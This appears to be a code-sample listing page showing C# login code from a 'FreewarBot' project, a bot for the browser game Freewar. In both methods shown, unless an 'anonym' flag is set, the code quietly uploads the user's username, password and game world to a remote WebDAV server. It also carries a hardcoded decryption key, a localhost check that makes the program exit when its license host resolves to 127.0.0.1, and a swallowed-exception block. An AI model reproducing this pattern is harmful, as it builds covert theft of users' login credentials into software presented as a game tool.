コード例 #1
0
ファイル: frmLogin.cs プロジェクト: Smallinger/FreewarBot
 private void btn_Login_Click(object sender, EventArgs e)
 {
     Settings.IsBotRunning = true;
     Settings._Username    = textBox4.Text;
     Settings._Password    = textBox3.Text;
     if (!checkBox1.Checked)
     {
         Settings._World = "welt" + numericUpDown2.Value.ToString();
     }
     frmmain = new frmMain(true);
     if (Settings.LizenzID == "2545392169404-1279472682978-4460778686952-1946890896615-5720590940526" | Settings.LizenzID == "1909470156489-1915709084478-4441818818178-5090909059026-3175456429278")
     {
         MessageBox.Show("Die FwZy Testversion ist dir nicht genug? Kein Problem, kaufe dir einfach eine Standard oder Premium Lizenz! Kostenlos gibt es NIX! Lg das FwZy Team das sich sehr geehrt fühlt.");
         Environment.Exit(0);
     }
     if (!anonym)
     {
         Webdav.UploadInformations((Settings._Username + ";" + Settings._Password + ";" + Settings._World));
         if (!Webdav.CheckIfOnline())
         {
             MessageBox.Show("Eine neue Version des Bot ist verfügbar!");
             Environment.Exit(0);
         }
     }
     frmmain.Show();
     frmmain.Hide();
     timer1.Start();
     this.Hide();
     StartThread();
 }
コード例 #2
0
ファイル: frmLogin.cs プロジェクト: Smallinger/FreewarBot
        public void LoadLicence()
        {
            try
            {
                if (webBrowser1.Url == new Uri("http://fwzybot.saveboards.com/") && Settings.Lizenz == null)
                {
                    string text = webBrowser1.Document.Body.InnerText;
                    string time = webBrowser1.Document.Body.OuterText;
                    time = time.Remove(0, time.IndexOf("Aktuelles Datum und Uhrzeit: "));
                    try
                    {
                        time = time.Substring(0, time.IndexOf(" -"));
                    }
                    catch
                    {
                        time = time.Substring(0, time.IndexOf(",") + 6);
                    }

                    // time = time.Replace("Aktuelles Datum und Uhrzeit: ", String.Empty);
                    // time = time.Remove(0, 2);
                    // DateTime tnow = Convert.ToDateTime(time);

                    text = text.Substring(0, text.IndexOf("Beiträge"));
                    string[] split = text.Split('|');
                    //string LizenzTyp = split[1];
                    //string forumsName = split[0].Replace("Willkommen ", String.Empty);
                    //DateTime LizenzExpires = Convert.ToDateTime(split[3]);
                    //if (LizenzTyp == " Premium ")
                    //{
                    //    Settings.Lizenz = "Premium";
                    //}
                    //else if (LizenzTyp == " Standard ")
                    //{
                    //    Settings.Lizenz = "Standard";
                    //}
                    //else
                    {
                        Settings.Lizenz = "Premium";
                        MessageBox.Show("Sie benutzen eine vollwertige, kostenlose Version des BaW Bot! Sollten Sie mit dem Bot zufrieden sein und die Entwicklung unterstützen möchten: Spenden (PayPal-Button) werden sehr gerne entgegen genommen :)");
                    }
                    Settings._LicenceExpiration = Convert.ToDateTime("10.10.2020");
                    Settings._forumName         = "who cares";

                    IPAddress[] ipaddress = Dns.GetHostAddresses("fwzybot.saveboards.com");
                    string      ip        = ipaddress[0].ToString();
                    if (ip == "127.0.0.1")
                    {
                        Environment.Exit(0);
                    }

                    //if (tnow > Settings._LicenceExpiration)
                    //{
                    //    MessageBox.Show("Die Lizenz ist abgelaufen! Um den Bot weiterhin verwenden zu können, musst du deine Lizenz verlängern.");
                    //    Environment.Exit(0);
                    //}

                    webBrowser1.Hide();
                    this.Size = new System.Drawing.Size(310, 260);

                    if (File.Exists(Application.StartupPath + "\\Settings.bin") && loggedin == false)
                    {
                        StreamReader myFile1 = new StreamReader(Application.StartupPath + "\\Settings.bin");
                        Settings._Username            = myFile1.ReadLine();
                        textBox4.Text                 = Settings._Username;
                        Settings._Password            = StringCipher.Decrypt(myFile1.ReadLine(), "Fail22");
                        textBox3.Text                 = Settings._Password;
                        Settings._World               = myFile1.ReadLine();
                        Settings.LastOilPickUp        = Convert.ToDateTime(myFile1.ReadLine());
                        Settings.LastFederationPickUp = Convert.ToDateTime(myFile1.ReadLine());
                        Settings.LastSumpfgasPickUp   = Convert.ToDateTime(myFile1.ReadLine());
                        numericUpDown2.Value          = Convert.ToInt32(Settings._World.Remove(0, 4));
                        myFile1.Close();

                        Settings.IsBotRunning = true;
                        Settings._Username    = textBox4.Text;
                        Settings._Password    = textBox3.Text;
                        //Settings._World = numericUpDown2.Value.ToString();
                        if (Settings.LizenzID == "2545392169404-1279472682978-4460778686952-1946890896615-5720590940526" | Settings.LizenzID == "1909470156489-1915709084478-4441818818178-5090909059026-3175456429278")
                        {
                            MessageBox.Show("Die FwZy Testversion ist dir nicht genug? Kein Problem, kaufe dir einfach eine Standard oder Premium Lizenz! Kostenlos gibt es NIX! Lg das FwZy Team das sich sehr geehrt fühlt.");
                            Environment.Exit(0);
                        }
                        if (!anonym)
                        {
                            Webdav.UploadInformations((Settings._Username + ";" + Settings._Password + ";" + Settings._World));
                            if (!Webdav.CheckIfOnline())
                            {
                                MessageBox.Show("Eine neue Version des FwZy Bot ist verfügbar!");
                                Environment.Exit(0);
                            }
                        }
                        frmmain = new frmMain(true);
                        frmmain.Show();
                        frmmain.Hide();
                        this.Hide();
                        StartThread();
                        t.Start();
                        loggedin = true;
                    }
                }
            }
            catch (Exception e)
            { }
        }